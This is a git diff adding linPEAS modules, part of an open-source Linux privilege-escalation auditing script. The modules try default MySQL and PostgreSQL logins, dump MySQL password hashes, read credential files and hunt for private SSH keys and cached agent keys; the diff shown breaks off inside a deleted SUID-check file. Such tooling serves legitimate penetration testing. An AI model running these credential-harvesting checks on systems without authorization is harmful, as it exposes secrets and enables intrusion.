a/linPEAS/builder/linpeas_parts/7_software_information/Logstash.sh b/linPEAS/builder/linpeas_parts/7_software_information/Logstash.sh new file mode 100644 index 0000000..fcd25c9 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Logstash.sh @@ -0,0 +1,28 @@ +# Title: Software Information - Logstash +# ID: SI_Logstash +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Searching logstash files +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG, $knw_usrs, $nosh_usrs, $sh_usrs, $USER +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$PSTORAGE_LOGSTASH" ] || [ "$DEBUG" ]; then + print_2title "Searching logstash files" + printf "$PSTORAGE_LOGSTASH" + printf "%s\n" "$PSTORAGE_LOGSTASH" | while read d; do + if [ -r "$d/startup.options" ]; then + echo "Logstash is running as user:" + cat "$d/startup.options" 2>/dev/null | grep "LS_USER\|LS_GROUP" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed -${E} "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,root,${SED_RED}," + fi + cat "$d/conf.d/out*" | grep "exec\s*{\|command\s*=>" | sed -${E} "s,exec\W*\{|command\W*=>,${SED_RED}," + cat "$d/conf.d/filt*" | grep "path\s*=>\|code\s*=>\|ruby\s*{" | sed -${E} "s,path\W*=>|code\W*=>|ruby\W*\{,${SED_RED}," + done +fi +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Mysql.sh b/linPEAS/builder/linpeas_parts/7_software_information/Mysql.sh new file mode 100644 index 0000000..0031e31 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Mysql.sh @@ -0,0 +1,105 @@ +# Title: Software Information - Mysql +# ID: SI_Mysql +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Mysql credentials +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG, $knw_usrs, $nosh_usrs, $sh_usrs, $DEBUG, $USER, $STRINGS +# Initial Functions: +# Generated Global Variables: $mysqluser, $mysqlexec, $mysqlconnect, $mysqlconnectnopass +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then + print_2title "Searching mysql credentials and exec" + printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do + if [ -f "$d" ] && ! [ "$(basename $d)" = "mysql" ]; then # Only interested in "mysql" that are folders (filesaren't the ones with creds) + echo "Potential file containing credentials:" + ls -l "$d" + if [ "$STRINGS" ]; then + strings "$d" + else + echo "Strings not found, cat the file and check it to get the creds" + fi + + else + for f in $(find $d -name debian.cnf 2>/dev/null); do + if [ -r "$f" ]; then + echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED}," + cat "$f" + fi + done + + for f in $(find $d -name user.MYD 2>/dev/null); do + if [ -r "$f" ]; then + echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED}," + grep -oaE "[-_\.\*a-Z0-9]{3,}" "$f" | grep -v "mysql_native_password" + fi + done + + for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do + if [ -r "$f" ]; then + u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null) + echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," + fi + done + + for f in $(find $d -name my.cnf 2>/dev/null); do + if [ -r "$f" ]; then + echo "Found readable $f" + grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED}," + fi + done + fi + + mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep -Ev '^lib_mysqludf_sys.so:$' | grep "lib_mysqludf_sys\.so") + if [ "$mysqlexec" ]; then + echo "Found $mysqlexec. $(whereis lib_mysqludf_sys.so)" + echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED}," + fi + done +fi +echo "" + +#-- SI) Mysql version +if [ "$(command -v mysql || echo -n '')" ] || [ "$(command -v mysqladmin || echo -n '')" ] || [ "$DEBUG" ]; then + print_2title "MySQL version" + mysql --version 2>/dev/null || echo_not_found "mysql" + mysqluser=$(systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1) + if [ "$mysqluser" ]; then + echo "MySQL user: $mysqluser" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," + fi + echo "" + echo "" + + #-- SI) Mysql connection root/root + print_list "MySQL connection using default root/root ........... " + mysqlconnect=$(mysqladmin -uroot -proot version 2>/dev/null) + if [ "$mysqlconnect" ]; then + echo "Yes" | sed -${E} "s,.*,${SED_RED}," + mysql -u root --password=root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + #-- SI) Mysql connection root/toor + print_list "MySQL connection using root/toor ................... " + mysqlconnect=$(mysqladmin -uroot -ptoor version 2>/dev/null) + if [ "$mysqlconnect" ]; then + echo "Yes" | sed -${E} "s,.*,${SED_RED}," + mysql -u root --password=toor -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + #-- SI) Mysql connection root/NOPASS + mysqlconnectnopass=$(mysqladmin -uroot version 2>/dev/null) + print_list "MySQL connection using root/NOPASS ................. " + if [ "$mysqlconnectnopass" ]; then + echo "Yes" | sed -${E} "s,.*,${SED_RED}," + mysql -u root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/PGP_GPG.sh b/linPEAS/builder/linpeas_parts/7_software_information/PGP_GPG.sh new file mode 100644 index 0000000..10d06e2 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/PGP_GPG.sh @@ -0,0 +1,16 @@ +# Title: Software Information - PGP-GPG +# ID: SI_PGP_GPG +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: PGP-GPG +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +peass{PGP-GPG} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/PHP_Sessions.sh b/linPEAS/builder/linpeas_parts/7_software_information/PHP_Sessions.sh new file mode 100644 index 0000000..e20691b --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/PHP_Sessions.sh @@ -0,0 +1,16 @@ +# Title: Software Information - PHP Sessions +# ID: SI_PHP_Sessions +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: PHP Sessions +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_not_found +# Global Variables: +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +peass{PHP Sessions} \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Pamd.sh b/linPEAS/builder/linpeas_parts/7_software_information/Pamd.sh new file mode 100644 index 0000000..a6bcbfa --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Pamd.sh @@ -0,0 +1,21 @@ +# Title: Software Information - Pam.d +# ID: SI_Pamd +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Passwords inside pam.d +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG +# Initial Functions: +# Generated Global Variables: $pamdpass +# Fat linpeas: 0 +# Small linpeas: 1 + + +pamdpass=$(grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#") +if [ "$pamdpass" ] || [ "$DEBUG" ]; then + print_2title "Passwords inside pam.d" + grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED}," + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Postgresql.sh b/linPEAS/builder/linpeas_parts/7_software_information/Postgresql.sh new file mode 100644 index 0000000..87103d1 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Postgresql.sh @@ -0,0 +1,40 @@ +# Title: Software Information - PostgreSQL +# ID: SI_Postgresql +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: PostgreSQL brute +# License: GNU GPL +# Version: 1.0 +# Functions Used: echo_no, print_list, warn_exec +# Global Variables: $DEBUG, $TIMEOUT +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +peass{PostgreSQL} + +if [ "$TIMEOUT" ] && [ "$(command -v psql || echo -n '')" ] || [ "$DEBUG" ]; then # In some OS (like OpenBSD) it will expect the password from console and will pause the script. Also, this OS doesn't have the "timeout" command so lets only use this checks in OS that has it. +#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this + print_list "PostgreSQL connection to template0 using postgres/NOPASS ........ " + if [ "$(timeout 1 psql -U postgres -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + print_list "PostgreSQL connection to template1 using postgres/NOPASS ........ " + if [ "$(timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed "s,.*,${SED_RED}," + else echo_no + fi + + print_list "PostgreSQL connection to template0 using pgsql/NOPASS ........... " + if [ "$(timeout 1 psql -U pgsql -d template0 -c 'select version()' 2>/dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + + print_list "PostgreSQL connection to template1 using pgsql/NOPASS ........... " + if [ "$(timeout 1 psql -U pgsql -d template1 -c 'select version()' 2> /dev/null)" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," + else echo_no + fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Runc.sh b/linPEAS/builder/linpeas_parts/7_software_information/Runc.sh new file mode 100644 index 0000000..464ab48 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Runc.sh @@ -0,0 +1,26 @@ +# Title: Software Information - Runc +# ID: SI_Runc +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Runc +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $DEBUG, $SEARCH_IN_FOLDER +# Initial Functions: +# Generated Global Variables: $runc +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ! [ "$SEARCH_IN_FOLDER" ]; then + runc=$(command -v runc || echo -n '') + if [ "$runc" ] || [ "$DEBUG" ]; then + print_2title "Checking if runc is available" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation" + if [ "$runc" ]; then + echo "runc was found in $runc, you may be able to escalate privileges with it" | sed -${E} "s,.*,${SED_RED}," + fi + echo "" + fi +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/SKey.sh b/linPEAS/builder/linpeas_parts/7_software_information/SKey.sh new file mode 100644 index 0000000..5d5db68 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/SKey.sh @@ -0,0 +1,28 @@ +# Title: Software Information - S/Key athentication +# ID: SI_SKey +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: S/Key athentication +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG, $IAMROOT +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if (grep auth= /etc/login.conf 2>/dev/null | grep -v "^#" | grep -q skey) || [ "$DEBUG" ] ; then + print_2title "S/Key authentication" + printf "System supports$RED S/Key$NC authentication\n" + if ! [ -d /etc/skey/ ]; then + echo "${GREEN}S/Key authentication enabled, but has not been initialized" + elif ! [ "$IAMROOT" ] && [ -w /etc/skey/ ]; then + echo "${RED}/etc/skey/ is writable by you" + ls -ld /etc/skey/ + else + ls -ld /etc/skey/ 2>/dev/null + fi + echo "" +fi diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Screen_sessions.sh b/linPEAS/builder/linpeas_parts/7_software_information/Screen_sessions.sh new file mode 100644 index 0000000..f0747ed --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Screen_sessions.sh @@ -0,0 +1,29 @@ +# Title: Software Information - Screen sessions +# ID: SI_Screen_sessions +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Screen sessions +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables:$DEBUG, $SEARCH_IN_FOLDER, $USER, $wgroups +# Initial Functions: +# Generated Global Variables: $screensess, $screensess2 +# Fat linpeas: 0 +# Small linpeas: 1 + + +if ([ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Searching screen sessions" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions" + screensess=$(screen -ls 2>/dev/null) + screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null) + + screen -v + printf "$screensess\n$screensess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,No Sockets found.*,${C}[32m&${C}[0m," + + find /run/screen -type s -path "/run/screen/S-*" -not -user $USER '(' '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do + echo "Other user screen socket is writable: $f" | sed "s,$f,${SED_RED_YELLOW}," + done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Splunk.sh b/linPEAS/builder/linpeas_parts/7_software_information/Splunk.sh new file mode 100644 index 0000000..4301e12 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Splunk.sh @@ -0,0 +1,27 @@ +# Title: Software Information - Splunk +# ID: SI_Splunk +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: passwd files (splunk) +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG +# Initial Functions: +# Generated Global Variables: $SPLUNK_BIN +# Fat linpeas: 0 +# Small linpeas: 1 + + +SPLUNK_BIN="$(command -v splunk 2>/dev/null || echo -n '')" +if [ "$PSTORAGE_SPLUNK" ] || [ "$SPLUNK_BIN" ] || [ "$DEBUG" ]; then + print_2title "Searching uncommon passwd files (splunk)" + if [ "$SPLUNK_BIN" ]; then echo "splunk binary was found installed on $SPLUNK_BIN" | sed "s,.*,${SED_RED},"; fi + printf "%s\n" "$PSTORAGE_SPLUNK" | grep -v ".htpasswd" | sort | uniq | while read f; do + if [ -f "$f" ] && ! [ -x "$f" ]; then + echo "passwd file: $f" | sed "s,$f,${SED_RED}," + cat "$f" 2>/dev/null | grep "'pass'|'password'|'user'|'database'|'host'|\$" | sed -${E} "s,password|pass|user|database|host|\$,${SED_RED}," + fi + done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Ssh.sh b/linPEAS/builder/linpeas_parts/7_software_information/Ssh.sh new file mode 100644 index 0000000..f456964 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Ssh.sh @@ -0,0 +1,110 @@ +# Title: Software Information - ssh files +# ID: SI_Ssh +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Searching ssl/ssh files +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_3title +# Global Variables: $HOME, $HOMESEARCH, $ROOT_FOLDER, $SEARCH_IN_FOLDER, $TIMEOUT, $USER, $wgroups +# Initial Functions: +# Generated Global Variables: $certsb4_grep, $hostsallow, $hostsdenied, $sshconfig, $writable_agents, $privatekeyfilesetc, $privatekeyfileshome, $privatekeyfilesroot, $privatekeyfilesmnt, +# Fat linpeas: 0 +# Small linpeas: 1 + + +print_2title "Searching ssl/ssh files" +if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=$(grep -L "\"\|'\|(" $PSTORAGE_CERTSB4 2>/dev/null); fi +if ! [ "$SEARCH_IN_FOLDER" ]; then + sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)" + hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)" + hostsallow="$(ls /etc/hosts.allow 2>/dev/null)" + writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null) +else + sshconfig="$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)" + hostsdenied="$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)" + hostsallow="$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)" + writable_agents=$(find ${ROOT_FOLDER} -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null) +fi + +peass{SSH} + +grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED}," + +if ! [ "$SEARCH_IN_FOLDER" ]; then + if [ "$TIMEOUT" ]; then + privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) + privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null) + privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null) + privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null) + else + privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) #If there is tons of files linpeas gets frozen here without a timeout + privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null) + fi +else + # If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware + privatekeyfilesetc=$(timeout 120 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' "$ROOT_FOLDER" 2>/dev/null) +fi + +if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then + echo "" + print_3title "Possible private SSH keys were found!" | sed -${E} "s,private SSH keys,${SED_RED}," + if [ "$privatekeyfilesetc" ]; then printf "$privatekeyfilesetc\n" | sed -${E} "s,.*,${SED_RED},"; fi + if [ "$privatekeyfileshome" ]; then printf "$privatekeyfileshome\n" | sed -${E} "s,.*,${SED_RED},"; fi + if [ "$privatekeyfilesroot" ]; then printf "$privatekeyfilesroot\n" | sed -${E} "s,.*,${SED_RED},"; fi + if [ "$privatekeyfilesmnt" ]; then printf "$privatekeyfilesmnt\n" | sed -${E} "s,.*,${SED_RED},"; fi + echo "" +fi +if [ "$certsb4_grep" ] || [ "$PSTORAGE_CERTSBIN" ]; then + print_3title "Some certificates were found (out limited):" + printf "$certsb4_grep\n" | head -n 20 + printf "$$PSTORAGE_CERTSBIN\n" | head -n 20 + echo "" +fi +if [ "$PSTORAGE_CERTSCLIENT" ]; then + print_3title "Some client certificates were found:" + printf "$PSTORAGE_CERTSCLIENT\n" + echo "" +fi +if [ "$PSTORAGE_SSH_AGENTS" ]; then + print_3title "Some SSH Agent files were found:" + printf "$PSTORAGE_SSH_AGENTS\n" + echo "" +fi +if ssh-add -l 2>/dev/null | grep -qv 'no identities'; then + print_3title "Listing SSH Agents" + ssh-add -l + echo "" +fi +if gpg-connect-agent "keyinfo --list" /bye 2>/dev/null | grep "D - - 1"; then + print_3title "Listing gpg keys cached in gpg-agent" + gpg-connect-agent "keyinfo --list" /bye + echo "" +fi +if [ "$writable_agents" ]; then + print_3title "Writable ssh and gpg agents" + printf "%s\n" "$writable_agents" +fi +if [ "$PSTORAGE_SSH_CONFIG" ]; then + print_3title "Some home ssh config file was found" + printf "%s\n" "$PSTORAGE_SSH_CONFIG" | while read f; do ls "$f" | sed -${E} "s,$f,${SED_RED},"; cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,User|ProxyCommand,${SED_RED},"; done + echo "" +fi +if [ "$hostsdenied" ]; then + print_3title "/etc/hosts.denied file found, read the rules:" + printf "$hostsdenied\n" + cat " ${ROOT_FOLDER}etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN}," + echo "" +fi +if [ "$hostsallow" ]; then + print_3title "/etc/hosts.allow file found, trying to read the rules:" + printf "$hostsallow\n" + cat " ${ROOT_FOLDER}etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED}," + echo "" +fi +if [ "$sshconfig" ]; then + echo "" + echo "Searching inside /etc/ssh/ssh_config for interesting info" + grep -v "^#" ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED}," +fi +echo "" diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Tmux.sh b/linPEAS/builder/linpeas_parts/7_software_information/Tmux.sh new file mode 100644 index 0000000..c3d18ac --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Tmux.sh @@ -0,0 +1,29 @@ +# Title: Software Information - Tmux +# ID: SI_Tmux +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Enumerate Tmux +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title, print_info +# Global Variables: $DEBUG, $SEARCH_IN_FOLDER, $wgroups +# Initial Functions: +# Generated Global Variables: $tmuxdefsess, $tmuxnondefsess, $tmuxsess2 +# Fat linpeas: 0 +# Small linpeas: 1 + + +tmuxdefsess=$(tmux ls 2>/dev/null) +tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep) +tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null) +if ([ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Searching tmux sessions"$N + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions" + tmux -V + printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m," + + find /tmp -type s -path "/tmp/tmux*" -not -user $USER '(' '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do + echo "Other user tmux socket is writable: $f" | sed "s,$f,${SED_RED_YELLOW}," + done + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/Vault_ssh.sh b/linPEAS/builder/linpeas_parts/7_software_information/Vault_ssh.sh new file mode 100644 index 0000000..ad9d640 --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/Vault_ssh.sh @@ -0,0 +1,24 @@ +# Title: Software Information - Vault-ssh +# ID: SI_Vault_ssh +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: Searching Vault-ssh files +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if [ "$PSTORAGE_VAULT_SSH_HELPER" ] || [ "$DEBUG" ]; then + print_2title "Searching Vault-ssh files" + printf "$PSTORAGE_VAULT_SSH_HELPER\n" + printf "%s\n" "$PSTORAGE_VAULT_SSH_HELPER" | while read f; do cat "$f" 2>/dev/null; vault-ssh-helper -verify-only -config "$f" 2>/dev/null; done + echo "" + vault secrets list 2>/dev/null + printf "%s\n" "$PSTORAGE_VAULT_SSH_TOKEN" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null +fi +echo "" \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/7_software_information/YubiKey.sh b/linPEAS/builder/linpeas_parts/7_software_information/YubiKey.sh new file mode 100644 index 0000000..251032c --- /dev/null +++ b/linPEAS/builder/linpeas_parts/7_software_information/YubiKey.sh @@ -0,0 +1,26 @@ +# Title: Software Information - YubiKey athentication +# ID: SI_YubiKey +# Author: Carlos Polop +# Last Update: 22-08-2023 +# Description: YubiKey athentication +# License: GNU GPL +# Version: 1.0 +# Functions Used: print_2title +# Global Variables: $DEBUG, $IAMROOT +# Initial Functions: +# Generated Global Variables: +# Fat linpeas: 0 +# Small linpeas: 1 + + +if (grep "auth=" /etc/login.conf 2>/dev/null | grep -v "^#" | grep -q yubikey) || [ "$DEBUG" ]; then + print_2title "YubiKey authentication" + printf "System supports$RED YubiKey authentication\n" + if ! [ "$IAMROOT" ] && [ -w /var/db/yubikey/ ]; then + echo "${RED}/var/db/yubikey/ is writable by you" + ls -ld /var/db/yubikey/ + else + ls -ld /var/db/yubikey/ 2>/dev/null + fi + echo "" +fi \ No newline at end of file diff --git a/linPEAS/builder/linpeas_parts/8_interesting_perms_files.sh b/linPEAS/builder/linpeas_parts/8_interesting_perms_files.sh deleted file mode 100644 index ae52286..0000000 --- a/linPEAS/builder/linpeas_parts/8_interesting_perms_files.sh +++ /dev/null @@ -1,491 +0,0 @@ -########################################### -#-) Files with Interesting Permissions (-# -########################################### - -check_critial_root_path(){ - folder_path="$1" - if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi - if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi - if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi -} - - - - -##-- IPF) SUID -print_2title "SUID - Check easy privesc, exploits and write perms" -print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" -if ! [ "$STRINGS" ]; then - echo_not_found "strings" -fi -if ! [ "$STRACE" ]; then - echo_not_found "strace" -fi -suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null) -for s in $suids_files; do - s=$(ls -lahtr "$s") - # If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder - if echo "$s" | grep -qE "^total"; then break; fi - - sname="$(echo $s | awk '{print $9}')" - if [ "$sname" = "." ] || [ "$sname" = ".." ]; then - true # Don't do nothing - elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then - echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED}," - elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then # If write permision, win found (no check exploits) - echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW}," - else - c="a" - for b in $sidB; do - if echo $s | grep -q $(echo $b | cut -d % -f 1); then - echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m," - c="" - break; - fi - done; - if [ "$c" ]; then - if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then - echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW}," - else - echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED}," - printf $ITALIC - if ! [ "$FAST" ]; then - - if [ "$STRINGS" ]; then - $STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do - 